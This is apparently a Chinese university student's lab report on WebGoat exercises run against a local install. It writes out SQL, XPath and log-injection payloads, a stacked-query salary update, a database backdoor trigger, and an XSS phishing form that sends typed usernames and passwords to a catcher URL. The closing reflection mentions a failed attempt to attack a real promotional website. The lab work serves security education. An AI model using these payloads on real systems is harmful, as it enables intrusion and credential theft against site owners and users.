Exp9 20155218 Web安全基础实践
Exp9 Web安全基础实践
1、实验环境配置:
- 1、在命令行里执行:java -jar webgoat-container-7.1-exec.jar运行WebGoat,文件夹里明明有了,但是没成功;
- 2、删了重新导入一次,竟然成功了,有时候就是这么奇怪;
- 3、然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面,开始实验:
- 4、发现mac也可以做,就选用了mac;具体步骤与linux相符;
2、实验项目:
(1)、Injection Flaws
1)、Command Injection
1、使用“检查”找到相应位置,修改代码,任何在命令行中使用的命令都可以在这里输入;
2、攻击成功:
2)、Numeric SQL Injection
1、目标: 尝试注入一个导致所有天气数据显示的SQL字符串。
2、解决方法:使用WebScarab拦截发布请求,并用101 or 1 = 1替换101!
3、截图:
3) 、 Log Spoofing
- 1、目标:
下面的灰色区域表示将在Web服务器的日志文件中记录的内容。
*您的目标是让它像用户名“admin”登录成功。
通过向日志文件添加脚本来提升攻击。 - 2、解决方法:在用户框里输入
xzh%0d%0aLogin Succeeded for username: admin
- 3、实验结果:
4)、XPATH Injection
- 1、目标:下面的表格允许员工看到他们的所有个人数据,包括他们的工资。 您的帐户是Mike / test123。 您的目标是尝试查看其他员工数据。
- 2、方法:看一下XPATH查询的构建:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
- 3、Xpath注入攻击本质上和SQL注入攻击是类似的,都是输入一些恶意的查询等代码字符串,从而对网站进行攻击。XPath注入攻击,是指利用XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知 识的情况下,通过XPath查询得到一个XML文档的完整内容。
- 4、输入:这个跟sql注入差不多;
在用户名和密码处都输入
xzh ' or 1=1 or ''= '
- 5、得到的计算机解释:
expression = "/employees/employee[ ( loginID/text()='xzh' or '' ='') and ( passwd/text()='xzh' or ''='' ) ]"
- 6:截图:
5)、String SQL Injection
- 1、直接输入
' or 1=1 --
2、
3、这个好简单,第一次啥也没参考,一次成功;
6)、LAB: SQL Injection
一、Stage 1:String SQL Injection
- 1、目标:使用字符串SQL注入绕过验证。 使用SQL注入作为老板('Neville')登录而不使用正确的密码。 验证Neville的个人资料可以被查看,并且所有功能都可用(包括搜索,创建和删除)。
- 2、尝试:想修改用户名,但是没有成功;看了一下后台代码,整理了一下思路,++发现应该是能够成功登陆,但是在跳转页面的时候要根据 userid进行跳转,而我的userid被我改成了 userid -- 自然也就出错了++
- 3、那只能修改输入框对输入的字符长度,并在在密码框输入,' or 1 = 1 --
- 4、成功登陆:
二、Stage 3: Execute SQL Injection to bypass authorization.
- 1、目标:作为普通员工'Larry',使用SQL注入到View函数的参数(从List Staff页面)来查看老板的简介('Neville')。
- 2、用上一步同样的办法登陆,然后修改value的值由原来的员工id 101 修改为
101 or 1=1 order by salary desc
由于老板的工资最高,最终排序出来的的一个就是老板
- 3、截图:
- 4、如果我们换一个员工id(curly)登陆,仅仅将value值改为
103 or 1=1
自然显示出了第一个员工(larry)的信息;
7)、Database Backdoors
- 1、目标:使用字符串SQL注入来执行多个SQL语句。 第一阶段使用易受攻击的字段创建两条SQL语句。 第一个是系统,第二个完全是你的。 您的帐户ID为101.此页面允许您查看密码,ssn和工资。 尝试注入另一个更新来更新薪水
- 2、输入
101; update employee set salary=5218
来修改工资;
- 3、同样注入一个数据库后门,
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155218@qq.com' WHERE userid = NEW.userid
8)Phishing with XSS
- 1、目标:网站钓鱼攻击:
- 2、方法:将XSS攻击代码插入到搜索字段:
</form><script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish"><br><br><HR><H3>
This feature requires account login:</H2><br><br>Enter
Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login"
onclick="hack()">
</form><br><br><HR>
- 3、输入信息点击搜索;攻击成功
9)、Stored XSS Attacks
- 1、目标:在表单输入字段中放置HTML标签。
- 2、在留言板中输入:
- 3、打开时,跳出弹框;但xss绝不是仅仅是个弹框;
10)、Cross Site Request Forgery (CSRF)
- 目标:以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 输入```
- 成功:![](https://images2018.cnblogs.com/blog/1071493/201805/1071493-20180525180049309-1030127542.png)
## 3、实验体会:
- 在这次实验中,我一边学习网站上的攻击方式,一边尝试攻击一个网站(故意加了一个基金讨论群,然后果不其然开始推销他们的东西),但是很遗憾没有攻击进去,让我有点意外,看来我还是需要继续学习。并且在做其中的一个实验的时候,感觉这些思路都差不多,就按照自己的思路去做,虽然没成功,但是找到了失败的原因,也算是有收获了。最后谢谢老师一学期的指导。
Exp9 20155218 Web安全基础实践的更多相关文章
- 20145202马超《网络对抗》Exp9*_* Web安全基础实践
本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 感觉上次做的也是sql注入,就是故意的非法输入(输入的是一些指令)让 ...
- # 2017-2018-2 20155319《网络对抗技术》Exp9 :Web安全基础
2017-2018-2 20155319<网络对抗技术>Exp9 :Web安全基础 实践过程 webgoat准备 从GitHub上下载jar包(老师的虚拟机中有 无需下载) 拷贝到本地,并 ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 20155204《网络对抗》Exp9 Web安全基础实践
20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...
- 20155210 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
随机推荐
- php 实现简单加入购物车(1)
这个购物车相对来说比较简单,用于短暂存储,并没有存储到数据库,购物车对于爱网购的人来说简直是熟悉的不能再熟悉了,在写购物车之前,我们首先要构思一下,我们需要先从数据库中调出一张表格,这里我 ...
- Flutter应用打包发布
本文学习Flutter打包,打包环境,Android studio3.2,打包的程序就使用上文的酷炫天气预报 terminal执行下列命令: 1.生成key(如果有现成的Key跳过这一步) 2.ke ...
- m6c2g核心板使用笔记
周立功官网资料下载链接:http://www.zlg.cn/ipc/down/down/id/84.html 平台:致远M6G2C-L Cortex-A7工控核心板 主要参考文档:EPC_loT_M6 ...
- 【Redis】Redis学习(一) Redis初步入门
一.Redis基础知识 1.1 Redis简介 Redis是一个开源(BSD许可),内存存储的数据结构服务器,可用作数据库,高速缓存和消息队列代理.它支持字符串.哈希表.列表.集合.有序集合,位图,h ...
- Oracle EBS INV 获取现有量等值
DECLARE L_api_return_status VARCHAR2(1); l_qty_oh NUMBER; l_qty_res_oh NUMBER; l_qty_res NUMBER; l_q ...
- Fabric密码保存
参考:https://segmentfault.com/a/1190000000497630 多个IP分别使用不同的账号.密码 from fabric.api import * env.hosts = ...
- PHPStorm 中配置 XDebug
1.下载 Xdebug ps : php版本和xdebug版本一定要相对应 如果不知道下载哪个版本,将phpinfo网页的源代码拷贝到https://xdebug.org/wizard.php,然后按 ...
- (转)glew的安装
http://blog.sina.com.cn/s/blog_858820890100vbys.html 下载链接: https://sourceforge.net/project/downloadi ...
- 跨平台开发 -- C# 使用 C/C++ 生成的动态链接库
操作环境:Visual Studio 2017 如何实现 使用 C# 进行嵌入式开发? .NET Core 虽然实现了跨平台,但是不可能处处使用 C# 开发,就好像没人使用SQL开发安卓APP,每种语 ...
- Java源码分析(1):二分查找 + 循环递归实现
源代码 源码地址 public static int binarySearch(int[] a, int key) { return binarySearch0(a, 0, a.length, key ...